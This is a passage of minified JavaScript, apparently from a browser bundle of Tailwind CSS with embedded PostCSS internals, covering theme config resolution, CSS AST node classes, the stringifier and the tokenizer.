0&&!Rf.includes(a))return[];if(o.length>0&&Rf.includes(a))return[Tr(`[${o}]`,t),a,null]}let n=Ws(r,e,t,i);for(let s of n)return s;return[]}function*Ws(r,e,t,i){let n=K(i,"generalizedModifiers"),[s,a]=qf(e);if(n&&t.modifiers!=null&&(t.modifiers==="any"||typeof t.modifiers=="object"&&(a&&Xe(a)||a in t.modifiers))||(s=e,a=void 0),a!==void 0&&s===""&&(s="DEFAULT"),a!==void 0){if(typeof t.modifiers=="object"){let c=t.modifiers?.[a]??null;c!==null?a=c:Xe(a)&&(a=a.slice(1,-1))}let u=Tr(e,t,{rawModifier:e,utilityModifier:a,tailwindConfig:i});u!==void 0&&(yield[u,"any",null])}for(let{type:u}of r??[]){let c=If[u](s,t,{rawModifier:e,utilityModifier:a,tailwindConfig:i});c!==void 0&&(yield[c,u,a??null])}}var Vs,If,Rf,Pr=A(()=>{l();Vs=J(De());Si();Cr();Er();ai();_f();$e();If={any:Tr,color:Yx,url:he(zs),image:he(wf),length:he(Or),percentage:he(Ar),position:he(bf),lookup:Qx,"generic-name":he(xf),"family-name":he(vf),number:he(js),"line-width":he(mf),"absolute-size":he(kf),"relative-size":he(Sf),shadow:he(gf),size:he(Cf)},Rf=Object.keys(If)});function $(r){return typeof r=="function"?r({}):r}var Gs=A(()=>{l()});function St(r){return typeof r=="function"}function Dr(r,...e){let t=e.pop();for(let i of e)for(let n in i){let s=t(r[n],i[n]);s===void 0?ee(r[n])&&ee(i[n])?r[n]=Dr({},r[n],i[n],t):r[n]=i[n]:r[n]=s}return r}function Xx(r,...e){return St(r)?r(...e):r}function Kx(r){return r.reduce((e,{extend:t})=>Dr(e,t,(i,n)=>i===void 0?[n]:Array.isArray(i)?[n,...i]:[n,i]),{})}function Zx(r){return{...r.reduce((e,t)=>Vn(e,t),{}),extend:Kx(r)}}function Ff(r,e){if(Array.isArray(r)&&ee(r[0]))return r.concat(e);if(Array.isArray(e)&&ee(e[0])&&ee(r))return[r,...e];if(Array.isArray(e))return e}function e1({extend:r,...e}){return Dr(e,r,(t,i)=>!St(t)&&!i.some(St)?Dr({},t,...i,Ff):(n,s)=>Dr({},...[t,...i].map(a=>Xx(a,n,s)),Ff))}function*t1(r){let e=He(r);if(e.length===0||(yield e,Array.isArray(r)))return;let t=/^(.*?)\s*\/\s*([^/]+)$/,i=r.match(t);if(i!==null){let[,n,s]=i,a=He(n);a.alpha=s,yield a}}function r1(r){let e=(t,i)=>{for(let n of t1(t)){let s=0,a=r;for(;a!=null&&s<n.length;)a=a[n[s++]],a=St(a)&&(n.alpha===void 0||s<=n.length-1)?a(e,Hs):a;if(a!==void 0){if(n.alpha!==void 0){let o=kt(a);return qe(o,n.alpha,$(o))}return ee(a)?Ye(a):a}}return i};return Object.assign(e,{theme:e,...Hs}),Object.keys(r).reduce((t,i)=>(t[i]=St(r[i])?r[i](e,Hs):r[i],t),{})}function Nf(r){let e=[];return r.forEach(t=>{e=[...e,t];let i=t?.plugins??[];i.length!==0&&i.forEach(n=>{n.__isOptionsFunction&&(n=n()),e=[...e,...Nf([n?.config??{}])]})}),e}function i1(r){return[...r].reduceRight((t,i)=>St(i)?i({corePlugins:t}):Gl(i,t),Ul)}function n1(r){return[...r].reduceRight((t,i)=>[...t,...i],[])}function Ys(r){let e=[...Nf(r),{prefix:"",important:!1,separator:":",variantOrder:Mf.default.variantOrder}];return Zl(Vn({theme:r1(e1(Zx(e.map(t=>t?.theme??{})))),corePlugins:i1(e.map(t=>t.corePlugins)),plugins:n1(r.map(t=>t?.plugins??[]))},...e))}var Mf,Hs,Lf=A(()=>{l();ai();Wl();Hl();Mf=J(Zt());jn();Kl();li();eu();wt();ui();Pr();Cr();Gs();Hs={colors:zn,negative(r){return Object.keys(r).filter(e=>r[e]!=="0").reduce((e,t)=>{let i=ut(r[t]);return i!==void 0&&(e[`-${t}`]=i),e},{})},breakpoints(r){return Object.keys(r).filter(e=>typeof r[e]=="string").reduce((e,t)=>({...e,[`screen-${t}`]:r[t]}),{})}}});function Oi(r){let e=(r?.presets??[Bf.default]).slice().reverse().flatMap(n=>Oi(n instanceof Function?n():n)),t={respectDefaultRingColorOpacity:{theme:{ringColor:({theme:n})=>({DEFAULT:"#3b82f67f",...n("colors")})}},disableColorOpacityUtilitiesByDefault:{corePlugins:{backgroundOpacity:!1,borderOpacity:!1,divideOpacity:!1,placeholderOpacity:!1,ringOpacity:!1,textOpacity:!1}}},i=Object.keys(t).filter(n=>K(r,n)).map(n=>t[n]);return[r,...i,...e]}var Bf,$f=A(()=>{l();Bf=J(Zt());$e()});var zf={};Ce(zf,{default:()=>qr});function qr(...r){let[,...e]=Oi(r[0]);return Ys([...r,...e])}var Qs=A(()=>{l();Lf();$f()});function Ei(r){return typeof r=="object"&&r!==null}function s1(r){return Object.keys(r).length===0}function jf(r){return typeof r=="string"||r instanceof String}function Js(r){if(Ei(r)&&r.config===void 0&&!s1(r))return null;if(Ei(r)&&r.config!==void 0&&jf(r.config))return ie.resolve(r.config);if(Ei(r)&&r.config!==void 0&&Ei(r.config))return null;if(jf(r))return ie.resolve(r);for(let e of["./tailwind.config.js","./tailwind.config.cjs"])try{let t=ie.resolve(e);return ae.accessSync(t),t}catch(t){}return null}var Vf=A(()=>{l();Ge();lt()});var Uf={};Ce(Uf,{default:()=>Xs});var Xs,Ks=A(()=>{l();Xs={parse:r=>({href:r})}});var Zs=v(()=>{l()});var Ti=v((QE,Hf)=>{l();"use strict";var Wf=(oi(),Ql),Gf=Zs(),Ct=class extends Error{constructor(e,t,i,n,s,a){super(e);this.name="CssSyntaxError",this.reason=e,s&&(this.file=s),n&&(this.source=n),a&&(this.plugin=a),typeof t!="undefined"&&typeof i!="undefined"&&(typeof t=="number"?(this.line=t,this.column=i):(this.line=t.line,this.column=t.column,this.endLine=i.line,this.endColumn=i.column)),this.setMessage(),Error.captureStackTrace&&Error.captureStackTrace(this,Ct)}setMessage(){this.message=this.plugin?this.plugin+": ":"",this.message+=this.file?this.file:"<css input>",typeof this.line!="undefined"&&(this.message+=":"+this.line+":"+this.column),this.message+=": "+this.reason}showSourceCode(e){if(!this.source)return"";let t=this.source;e==null&&(e=Wf.isColorSupported),Gf&&e&&(t=Gf(t));let i=t.split(/\r?\n/),n=Math.max(this.line-3,0),s=Math.min(this.line+2,i.length),a=String(s).length,o,u;if(e){let{bold:c,red:f,gray:p}=Wf.createColors(!0);o=h=>c(f(h)),u=h=>p(h)}else o=u=c=>c;return i.slice(n,s).map((c,f)=>{let p=n+1+f,h=" "+(" "+p).slice(-a)+" | ";if(p===this.line){let d=u(h.replace(/\d/g," "))+c.slice(0,this.column-1).replace(/[^\t]/g," ");return o(">")+u(h)+c+` `+d+o("^")}return" "+u(h)+c}).join(` `)}toString(){let e=this.showSourceCode();return e&&(e=` `+e+` `),this.name+": "+this.message+e}};Hf.exports=Ct;Ct.default=Ct});var Pi=v((JE,ea)=>{l();"use strict";ea.exports.isClean=Symbol("isClean");ea.exports.my=Symbol("my")});var ta=v((XE,Qf)=>{l();"use strict";var Yf={colon:": ",indent:" ",beforeDecl:` `,beforeRule:` `,beforeOpen:" ",beforeClose:` `,beforeComment:` `,after:` `,emptyBody:"",commentLeft:" ",commentRight:" ",semicolon:!1};function a1(r){return r[0].toUpperCase()+r.slice(1)}var Di=class{constructor(e){this.builder=e}stringify(e,t){if(!this[e.type])throw new Error("Unknown AST node type "+e.type+". Maybe you need to change PostCSS stringifier.");this[e.type](e,t)}document(e){this.body(e)}root(e){this.body(e),e.raws.after&&this.builder(e.raws.after)}comment(e){let t=this.raw(e,"left","commentLeft"),i=this.raw(e,"right","commentRight");this.builder("/*"+t+e.text+i+"*/",e)}decl(e,t){let i=this.raw(e,"between","colon"),n=e.prop+i+this.rawValue(e,"value");e.important&&(n+=e.raws.important||" !important"),t&&(n+=";"),this.builder(n,e)}rule(e){this.block(e,this.rawValue(e,"selector")),e.raws.ownSemicolon&&this.builder(e.raws.ownSemicolon,e,"end")}atrule(e,t){let i="@"+e.name,n=e.params?this.rawValue(e,"params"):"";if(typeof e.raws.afterName!="undefined"?i+=e.raws.afterName:n&&(i+=" "),e.nodes)this.block(e,i+n);else{let s=(e.raws.between||"")+(t?";":"");this.builder(i+n+s,e)}}body(e){let t=e.nodes.length-1;for(;t>0&&e.nodes[t].type==="comment";)t-=1;let i=this.raw(e,"semicolon");for(let n=0;n<e.nodes.length;n++){let s=e.nodes[n],a=this.raw(s,"before");a&&this.builder(a),this.stringify(s,t!==n||i)}}block(e,t){let i=this.raw(e,"between","beforeOpen");this.builder(t+i+"{",e,"start");let n;e.nodes&&e.nodes.length?(this.body(e),n=this.raw(e,"after")):n=this.raw(e,"after","emptyBody"),n&&this.builder(n),this.builder("}",e,"end")}raw(e,t,i){let n;if(i||(i=t),t&&(n=e.raws[t],typeof n!="undefined"))return n;let s=e.parent;if(i==="before"&&(!s||s.type==="root"&&s.first===e||s&&s.type==="document"))return"";if(!s)return Yf[i];let a=e.root();if(a.rawCache||(a.rawCache={}),typeof a.rawCache[i]!="undefined")return a.rawCache[i];if(i==="before"||i==="after")return this.beforeAfter(e,i);{let o="raw"+a1(i);this[o]?n=this[o](a,e):a.walk(u=>{if(n=u.raws[t],typeof n!="undefined")return!1})}return typeof n=="undefined"&&(n=Yf[i]),a.rawCache[i]=n,n}rawSemicolon(e){let t;return e.walk(i=>{if(i.nodes&&i.nodes.length&&i.last.type==="decl"&&(t=i.raws.semicolon,typeof t!="undefined"))return!1}),t}rawEmptyBody(e){let t;return e.walk(i=>{if(i.nodes&&i.nodes.length===0&&(t=i.raws.after,typeof t!="undefined"))return!1}),t}rawIndent(e){if(e.raws.indent)return e.raws.indent;let t;return e.walk(i=>{let n=i.parent;if(n&&n!==e&&n.parent&&n.parent===e&&typeof i.raws.before!="undefined"){let s=i.raws.before.split(` `);return t=s[s.length-1],t=t.replace(/\S/g,""),!1}}),t}rawBeforeComment(e,t){let i;return e.walkComments(n=>{if(typeof n.raws.before!="undefined")return i=n.raws.before,i.includes(` `)&&(i=i.replace(/[^\n]+$/,"")),!1}),typeof i=="undefined"?i=this.raw(t,null,"beforeDecl"):i&&(i=i.replace(/\S/g,"")),i}rawBeforeDecl(e,t){let i;return e.walkDecls(n=>{if(typeof n.raws.before!="undefined")return i=n.raws.before,i.includes(` `)&&(i=i.replace(/[^\n]+$/,"")),!1}),typeof i=="undefined"?i=this.raw(t,null,"beforeRule"):i&&(i=i.replace(/\S/g,"")),i}rawBeforeRule(e){let t;return e.walk(i=>{if(i.nodes&&(i.parent!==e||e.first!==i)&&typeof i.raws.before!="undefined")return t=i.raws.before,t.includes(` `)&&(t=t.replace(/[^\n]+$/,"")),!1}),t&&(t=t.replace(/\S/g,"")),t}rawBeforeClose(e){let t;return e.walk(i=>{if(i.nodes&&i.nodes.length>0&&typeof i.raws.after!="undefined")return t=i.raws.after,t.includes(` `)&&(t=t.replace(/[^\n]+$/,"")),!1}),t&&(t=t.replace(/\S/g,"")),t}rawBeforeOpen(e){let t;return e.walk(i=>{if(i.type!=="decl"&&(t=i.raws.between,typeof t!="undefined"))return!1}),t}rawColon(e){let t;return e.walkDecls(i=>{if(typeof i.raws.between!="undefined")return t=i.raws.between.replace(/[^\s:]/g,""),!1}),t}beforeAfter(e,t){let i;e.type==="decl"?i=this.raw(e,null,"beforeDecl"):e.type==="comment"?i=this.raw(e,null,"beforeComment"):t==="before"?i=this.raw(e,null,"beforeRule"):i=this.raw(e,null,"beforeClose");let n=e.parent,s=0;for(;n&&n.type!=="root";)s+=1,n=n.parent;if(i.includes(` `)){let a=this.raw(e,null,"indent");if(a.length)for(let o=0;o<s;o++)i+=a}return i}rawValue(e,t){let i=e[t],n=e.raws[t];return n&&n.value===i?n.raw:i}};Qf.exports=Di;Di.default=Di});var Ir=v((KE,Jf)=>{l();"use strict";var o1=ta();function ra(r,e){new o1(e).stringify(r)}Jf.exports=ra;ra.default=ra});var Rr=v((ZE,Xf)=>{l();"use strict";var{isClean:qi,my:l1}=Pi(),u1=Ti(),f1=ta(),c1=Ir();function ia(r,e){let t=new r.constructor;for(let i in r){if(!Object.prototype.hasOwnProperty.call(r,i)||i==="proxyCache")continue;let n=r[i],s=typeof n;i==="parent"&&s==="object"?e&&(t[i]=e):i==="source"?t[i]=n:Array.isArray(n)?t[i]=n.map(a=>ia(a,t)):(s==="object"&&n!==null&&(n=ia(n)),t[i]=n)}return t}var Ii=class{constructor(e={}){this.raws={},this[qi]=!1,this[l1]=!0;for(let t in e)if(t==="nodes"){this.nodes=[];for(let i of e[t])typeof i.clone=="function"?this.append(i.clone()):this.append(i)}else this[t]=e[t]}error(e,t={}){if(this.source){let{start:i,end:n}=this.rangeBy(t);return this.source.input.error(e,{line:i.line,column:i.column},{line:n.line,column:n.column},t)}return new u1(e)}warn(e,t,i){let n={node:this};for(let s in i)n[s]=i[s];return e.warn(t,n)}remove(){return this.parent&&this.parent.removeChild(this),this.parent=void 0,this}toString(e=c1){e.stringify&&(e=e.stringify);let t="";return e(this,i=>{t+=i}),t}assign(e={}){for(let t in e)this[t]=e[t];return this}clone(e={}){let t=ia(this);for(let i in e)t[i]=e[i];return t}cloneBefore(e={}){let t=this.clone(e);return this.parent.insertBefore(this,t),t}cloneAfter(e={}){let t=this.clone(e);return this.parent.insertAfter(this,t),t}replaceWith(...e){if(this.parent){let t=this,i=!1;for(let n of e)n===this?i=!0:i?(this.parent.insertAfter(t,n),t=n):this.parent.insertBefore(t,n);i||this.remove()}return this}next(){if(!this.parent)return;let e=this.parent.index(this);return this.parent.nodes[e+1]}prev(){if(!this.parent)return;let e=this.parent.index(this);return this.parent.nodes[e-1]}before(e){return this.parent.insertBefore(this,e),this}after(e){return this.parent.insertAfter(this,e),this}root(){let e=this;for(;e.parent&&e.parent.type!=="document";)e=e.parent;return e}raw(e,t){return new f1().raw(this,e,t)}cleanRaws(e){delete this.raws.before,delete this.raws.after,e||delete this.raws.between}toJSON(e,t){let i={},n=t==null;t=t||new Map;let s=0;for(let a in this){if(!Object.prototype.hasOwnProperty.call(this,a)||a==="parent"||a==="proxyCache")continue;let o=this[a];if(Array.isArray(o))i[a]=o.map(u=>typeof u=="object"&&u.toJSON?u.toJSON(null,t):u);else if(typeof o=="object"&&o.toJSON)i[a]=o.toJSON(null,t);else if(a==="source"){let u=t.get(o.input);u==null&&(u=s,t.set(o.input,s),s++),i[a]={inputId:u,start:o.start,end:o.end}}else i[a]=o}return n&&(i.inputs=[...t.keys()].map(a=>a.toJSON())),i}positionInside(e){let t=this.toString(),i=this.source.start.column,n=this.source.start.line;for(let s=0;s<e;s++)t[s]===` `?(i=1,n+=1):i+=1;return{line:n,column:i}}positionBy(e){let t=this.source.start;if(e.index)t=this.positionInside(e.index);else if(e.word){let i=this.toString().indexOf(e.word);i!==-1&&(t=this.positionInside(i))}return t}rangeBy(e){let t={line:this.source.start.line,column:this.source.start.column},i=this.source.end?{line:this.source.end.line,column:this.source.end.column+1}:{line:t.line,column:t.column+1};if(e.word){let n=this.toString().indexOf(e.word);n!==-1&&(t=this.positionInside(n),i=this.positionInside(n+e.word.length))}else e.start?t={line:e.start.line,column:e.start.column}:e.index&&(t=this.positionInside(e.index)),e.end?i={line:e.end.line,column:e.end.column}:e.endIndex?i=this.positionInside(e.endIndex):e.index&&(i=this.positionInside(e.index+1));return(i.line<t.line||i.line===t.line&&i.column<=t.column)&&(i={line:t.line,column:t.column+1}),{start:t,end:i}}getProxyProcessor(){return{set(e,t,i){return e[t]===i||(e[t]=i,(t==="prop"||t==="value"||t==="name"||t==="params"||t==="important"||t==="text")&&e.markDirty()),!0},get(e,t){return t==="proxyOf"?e:t==="root"?()=>e.root().toProxy():e[t]}}}toProxy(){return this.proxyCache||(this.proxyCache=new Proxy(this,this.getProxyProcessor())),this.proxyCache}addToError(e){if(e.postcssNode=this,e.stack&&this.source&&/\n\s{4}at /.test(e.stack)){let t=this.source;e.stack=e.stack.replace(/\n\s{4}at /,`$&${t.input.from}:${t.start.line}:${t.start.column}$&`)}return e}markDirty(){if(this[qi]){this[qi]=!1;let e=this;for(;e=e.parent;)e[qi]=!1}}get proxyOf(){return this}};Xf.exports=Ii;Ii.default=Ii});var Mr=v((eT,Kf)=>{l();"use strict";var p1=Rr(),Ri=class extends p1{constructor(e){e&&typeof e.value!="undefined"&&typeof e.value!="string"&&(e={...e,value:String(e.value)});super(e);this.type="decl"}get variable(){return this.prop.startsWith("--")||this.prop[0]==="$"}};Kf.exports=Ri;Ri.default=Ri});var na=v((tT,Zf)=>{l();Zf.exports=function(r,e){return{generate:()=>{let t="";return r(e,i=>{t+=i}),[t]}}}});var Fr=v((rT,ec)=>{l();"use strict";var d1=Rr(),Mi=class extends d1{constructor(e){super(e);this.type="comment"}};ec.exports=Mi;Mi.default=Mi});var Ke=v((iT,uc)=>{l();"use strict";var{isClean:tc,my:rc}=Pi(),ic=Mr(),nc=Fr(),h1=Rr(),sc,sa,aa,ac;function oc(r){return r.map(e=>(e.nodes&&(e.nodes=oc(e.nodes)),delete e.source,e))}function lc(r){if(r[tc]=!1,r.proxyOf.nodes)for(let e of r.proxyOf.nodes)lc(e)}var be=class extends h1{push(e){return e.parent=this,this.proxyOf.nodes.push(e),this}each(e){if(!this.proxyOf.nodes)return;let t=this.getIterator(),i,n;for(;this.indexes[t]<this.proxyOf.nodes.length&&(i=this.indexes[t],n=e(this.proxyOf.nodes[i],i),n!==!1);)this.indexes[t]+=1;return delete this.indexes[t],n}walk(e){return this.each((t,i)=>{let n;try{n=e(t,i)}catch(s){throw t.addToError(s)}return n!==!1&&t.walk&&(n=t.walk(e)),n})}walkDecls(e,t){return t?e instanceof RegExp?this.walk((i,n)=>{if(i.type==="decl"&&e.test(i.prop))return t(i,n)}):this.walk((i,n)=>{if(i.type==="decl"&&i.prop===e)return t(i,n)}):(t=e,this.walk((i,n)=>{if(i.type==="decl")return t(i,n)}))}walkRules(e,t){return t?e instanceof RegExp?this.walk((i,n)=>{if(i.type==="rule"&&e.test(i.selector))return t(i,n)}):this.walk((i,n)=>{if(i.type==="rule"&&i.selector===e)return t(i,n)}):(t=e,this.walk((i,n)=>{if(i.type==="rule")return t(i,n)}))}walkAtRules(e,t){return t?e instanceof RegExp?this.walk((i,n)=>{if(i.type==="atrule"&&e.test(i.name))return t(i,n)}):this.walk((i,n)=>{if(i.type==="atrule"&&i.name===e)return t(i,n)}):(t=e,this.walk((i,n)=>{if(i.type==="atrule")return t(i,n)}))}walkComments(e){return this.walk((t,i)=>{if(t.type==="comment")return e(t,i)})}append(...e){for(let t of e){let i=this.normalize(t,this.last);for(let n of i)this.proxyOf.nodes.push(n)}return this.markDirty(),this}prepend(...e){e=e.reverse();for(let t of e){let i=this.normalize(t,this.first,"prepend").reverse();for(let n of i)this.proxyOf.nodes.unshift(n);for(let n in this.indexes)this.indexes[n]=this.indexes[n]+i.length}return this.markDirty(),this}cleanRaws(e){if(super.cleanRaws(e),this.nodes)for(let t of this.nodes)t.cleanRaws(e)}insertBefore(e,t){let i=this.index(e),n=e===0?"prepend":!1,s=this.normalize(t,this.proxyOf.nodes[i],n).reverse();i=this.index(e);for(let o of s)this.proxyOf.nodes.splice(i,0,o);let a;for(let o in this.indexes)a=this.indexes[o],i<=a&&(this.indexes[o]=a+s.length);return this.markDirty(),this}insertAfter(e,t){let i=this.index(e),n=this.normalize(t,this.proxyOf.nodes[i]).reverse();i=this.index(e);for(let a of n)this.proxyOf.nodes.splice(i+1,0,a);let s;for(let a in this.indexes)s=this.indexes[a],i<s&&(this.indexes[a]=s+n.length);return this.markDirty(),this}removeChild(e){e=this.index(e),this.proxyOf.nodes[e].parent=void 0,this.proxyOf.nodes.splice(e,1);let t;for(let i in this.indexes)t=this.indexes[i],t>=e&&(this.indexes[i]=t-1);return this.markDirty(),this}removeAll(){for(let e of this.proxyOf.nodes)e.parent=void 0;return this.proxyOf.nodes=[],this.markDirty(),this}replaceValues(e,t,i){return i||(i=t,t={}),this.walkDecls(n=>{t.props&&!t.props.includes(n.prop)||t.fast&&!n.value.includes(t.fast)||(n.value=n.value.replace(e,i))}),this.markDirty(),this}every(e){return this.nodes.every(e)}some(e){return this.nodes.some(e)}index(e){return typeof e=="number"?e:(e.proxyOf&&(e=e.proxyOf),this.proxyOf.nodes.indexOf(e))}get first(){if(!!this.proxyOf.nodes)return this.proxyOf.nodes[0]}get last(){if(!!this.proxyOf.nodes)return this.proxyOf.nodes[this.proxyOf.nodes.length-1]}normalize(e,t){if(typeof e=="string")e=oc(sc(e).nodes);else if(Array.isArray(e)){e=e.slice(0);for(let n of e)n.parent&&n.parent.removeChild(n,"ignore")}else if(e.type==="root"&&this.type!=="document"){e=e.nodes.slice(0);for(let n of e)n.parent&&n.parent.removeChild(n,"ignore")}else if(e.type)e=[e];else if(e.prop){if(typeof e.value=="undefined")throw new Error("Value field is missed in node creation");typeof e.value!="string"&&(e.value=String(e.value)),e=[new ic(e)]}else if(e.selector)e=[new sa(e)];else if(e.name)e=[new aa(e)];else if(e.text)e=[new nc(e)];else throw new Error("Unknown node type in node creation");return e.map(n=>(n[rc]||be.rebuild(n),n=n.proxyOf,n.parent&&n.parent.removeChild(n),n[tc]&&lc(n),typeof n.raws.before=="undefined"&&t&&typeof t.raws.before!="undefined"&&(n.raws.before=t.raws.before.replace(/\S/g,"")),n.parent=this.proxyOf,n))}getProxyProcessor(){return{set(e,t,i){return e[t]===i||(e[t]=i,(t==="name"||t==="params"||t==="selector")&&e.markDirty()),!0},get(e,t){return t==="proxyOf"?e:e[t]?t==="each"||typeof t=="string"&&t.startsWith("walk")?(...i)=>e[t](...i.map(n=>typeof n=="function"?(s,a)=>n(s.toProxy(),a):n)):t==="every"||t==="some"?i=>e[t]((n,...s)=>i(n.toProxy(),...s)):t==="root"?()=>e.root().toProxy():t==="nodes"?e.nodes.map(i=>i.toProxy()):t==="first"||t==="last"?e[t].toProxy():e[t]:e[t]}}}getIterator(){this.lastEach||(this.lastEach=0),this.indexes||(this.indexes={}),this.lastEach+=1;let e=this.lastEach;return this.indexes[e]=0,e}};be.registerParse=r=>{sc=r};be.registerRule=r=>{sa=r};be.registerAtRule=r=>{aa=r};be.registerRoot=r=>{ac=r};uc.exports=be;be.default=be;be.rebuild=r=>{r.type==="atrule"?Object.setPrototypeOf(r,aa.prototype):r.type==="rule"?Object.setPrototypeOf(r,sa.prototype):r.type==="decl"?Object.setPrototypeOf(r,ic.prototype):r.type==="comment"?Object.setPrototypeOf(r,nc.prototype):r.type==="root"&&Object.setPrototypeOf(r,ac.prototype),r[rc]=!0,r.nodes&&r.nodes.forEach(e=>{be.rebuild(e)})}});var Fi=v((nT,pc)=>{l();"use strict";var m1=Ke(),fc,cc,_t=class extends m1{constructor(e){super({type:"document",...e});this.nodes||(this.nodes=[])}toResult(e={}){return new fc(new cc,this,e).stringify()}};_t.registerLazyResult=r=>{fc=r};_t.registerProcessor=r=>{cc=r};pc.exports=_t;_t.default=_t});var oa=v((sT,hc)=>{l();"use strict";var dc={};hc.exports=function(e){dc[e]||(dc[e]=!0,typeof console!="undefined"&&console.warn&&console.warn(e))}});var la=v((aT,mc)=>{l();"use strict";var Ni=class{constructor(e,t={}){if(this.type="warning",this.text=e,t.node&&t.node.source){let i=t.node.rangeBy(t);this.line=i.start.line,this.column=i.start.column,this.endLine=i.end.line,this.endColumn=i.end.column}for(let i in t)this[i]=t[i]}toString(){return this.node?this.node.error(this.text,{plugin:this.plugin,index:this.index,word:this.word}).message:this.plugin?this.plugin+": "+this.text:this.text}};mc.exports=Ni;Ni.default=Ni});var Bi=v((oT,gc)=>{l();"use strict";var g1=la(),Li=class{constructor(e,t,i){this.processor=e,this.messages=[],this.root=t,this.opts=i,this.css=void 0,this.map=void 0}toString(){return this.css}warn(e,t={}){t.plugin||this.lastPlugin&&this.lastPlugin.postcssPlugin&&(t.plugin=this.lastPlugin.postcssPlugin);let i=new g1(e,t);return this.messages.push(i),i}warnings(){return this.messages.filter(e=>e.type==="warning")}get content(){return this.css}};gc.exports=Li;Li.default=Li});var xc=v((lT,vc)=>{l();"use strict";var ua="'".charCodeAt(0),yc='"'.charCodeAt(0),$i="\\".charCodeAt(0),wc="/".charCodeAt(0),zi=` `.charCodeAt(0),Nr=" ".charCodeAt(0),ji="\f".charCodeAt(0),Vi=" ".charCodeAt(0),Ui="\r".charCodeAt(0),y1="[".charCodeAt(0),w1="]".charCodeAt(0),b1="(".charCodeAt(0),v1=")".charCodeAt(0),x1="{".charCodeAt(0),k1="}".charCodeAt(0),S1=";".charCodeAt(0),C1="*".charCodeAt(0),_1=":".charCodeAt(0),A1="@".charCodeAt(0),Wi=/[\t\n\f\r "#'()/;[\\\]{}]/g,Gi=/[\t\n\f\r !"#'():;@[\\\]{}]|\/(?=\*)/g,O1=/.[\n"'(/\\]/,bc=/[\da-f]/i;vc.exports=function(e,t={}){let i=e.css.valueOf(),n=t.ignoreErrors,s,a,o,u,c,f,p,h,d,y,k=i.length,w=0,b=[],x=[];function S(){return w}function _(q){throw e.error("Unclosed "+q,w)}function D(){return x.length===0&&w>=k}function M(q){if(x.length)return x.pop();if(w>=k)return;let F=q?q.ignoreUnclosed:!1;switch(s=i.charCodeAt(w),s){case zi:case Nr:case Vi:case Ui:case ji:{a=w;do a+=1,s=i.charCodeAt(a);while(s===Nr||s===zi||s===Vi||s===Ui||s===ji);y=["space",i.slice(w,a)],w=a-1;break}case y1:case w1:case x1:case k1:case _1:case S1:case v1:{let X=String.fromCharCode(s);y=[X,X,w];break}case b1:{if(h=b.length?b.pop()[1]:"",d=i.charCodeAt(w+1),h==="url"&&d!==ua&&d!==yc&&d!==Nr&&d!==zi&&d!==Vi&&d!==ji&&d!==Ui){a=w;do{if(f=!1,a=i.indexOf(")",a+1),a===-1)if(n||F){a=w;break}else _("bracket");for(p=a;i.charCodeAt(p-1)===$i;)p-=1,f=!f}while(f);y=["brackets",i.slice(w,a+1),w,a],w=a}else a=i.indexOf(")",w+1),u=i.slice(w,a+1),a===-1||O1.test(u)?y=["(","(",w]:(y=["brackets",u,w,a],w=a);break}case ua:case yc:{o=s===ua?"'":'"',a=w;do{if(f=!1,a=i.indexOf(o,a+1),a===-1)if(n||F){a=w+1;break}else _("string");for(p=a;i.charCodeAt(p-1)===$i;)p-=1,f=!f}while(f);y=["string",i.slice(w,a+1),w,a],w=a;break}case A1:{Wi.lastIndex=w+1,Wi.test(i),Wi.lastIndex===0?a=i.length-1:a=Wi.lastIndex-2,y=["at-word",i.slice(w,a+1),w,a],w=a;break}case $i:{for(a=w,c=!0;i.charCodeAt(a+1)===$i;)a+=1,c=!c;if(s=i.charCodeAt(a+1),c&&s!==wc&&s!==Nr&&s!==zi&&s!==Vi&&s!==Ui&&s!==ji&&(a+=1,bc.test(i.charAt(a)))){for(;bc.test(i.charAt(a+1));)a+=1;i.charCodeAt(a+1)===Nr&&(a+=1)}y=["word",i.slice(w,a+1),w,a],w=a;break}default:{s===wc&&i.charCodeAt(w+1)===C1?(a=i.indexOf("*/",w+2)+1,a===0&&(n||F?a=i.length:_("comment")),y=["comment",i.slice(w,a+1),w,a],w=a):(Gi.lastIndex=w+1,Gi.test(i),Gi.lastIndex===0?a=i.length-1:a=Gi.lastIndex-2,y=["word",i.slice(w,a+1),w,a],b.push(y),w=a);break}}return w++,y}function B(q){x.push(q)}return{back:B,nextToken:M,endOfFile:D,position:S}}});var Hi=v((uT,Sc)=>{l();"use strict";var kc=Ke(),Lr=class extends kc{constructor(e){super(e);this.type="atrule"}append(...e){return this.proxyOf.nodes||(this.nodes=[]),super.append(...e)}prepend(...e){return this.proxyOf.nodes||(this.nodes=[]),super.prepend(...e)}};Sc.exports=Lr;Lr.default=Lr;kc.registerAtRule(Lr)});var At=v((fT,Oc)=>{l();"use strict";var Cc=Ke(),_c,Ac,dt=class extends Cc{constructor(e){super(e);this.type="root",this.nodes||(this.nodes=[])}removeChild(e,t){let i=this.index(e);return!t&&i===0&&this.nodes.length>1&&(this.nodes[1].raws.before=this.nodes[i].raws.before),super.removeChild(e)}normalize(e,t,i){let n=super.normalize(e);if(t){if(i==="prepend")this.nodes.length>1?t.raws.before=this.nodes[1].raws.before:delete t.raws.before;else if(this.first!==t)for(let s of n)s.raws.before=t.raws.before}return n}toResult(e={}){return new _c(new Ac,this,e).stringify()}};dt.registerLazyResult=r=>{_c=r};dt.registerProcessor=r=>{Ac=r};Oc.exports=dt;dt.default=dt;Cc.registerRoot(dt)});var fa=v((cT,Ec)=>{l();"use strict";var Br={split(r,e,t){let i=[],n="",s=!1,a=0,o=!1,u="",c=!1;for(let f of r)c?c=!1:f==="\\"?c=!0:o?f===u&&(o=!1):f==='"'||f==="'"?(o=!0,u=f):f==="("?a+=1:f===")"?a>0&&(a-=1):a===0&&e.includes(f)&&(s=!0),s?(n!==""&&i.push(n.trim()),n="",s=!1):n+=f;return(t||n!=="")&&i.push(n.trim()),i},space(r){let e=[" ",` `," "];return Br.split(r,e)},comma(r){return Br.split(r,[","],!0)}};Ec.exports=Br;Br.default=Br});var Yi=v((pT,Pc)=>{l();"use strict";var Tc=Ke(),E1=fa(),$r=class extends Tc{constructor(e){super(e);this.type="rule",this.nodes||(this.nodes=[])}get selectors(){return E1.comma(this.selector)}set selectors(e){let t=this.selector?this.selector.match(/,\s*/):null,i=t?t[0]:","+this.raw("between","beforeOpen");this.selector=e.join(i)}};Pc.exports=$r;$r.default=$r;Tc.registerRule($r)});var Mc=v((dT,Rc)=>{l();"use strict";var T1=Mr(),P1=xc(),D1=Fr(),q1=Hi(),I1=At(),Dc=Yi(),qc={empty:!0,space:!0};function R1(r){for(let e=r.length-1;e>=0;e--){let 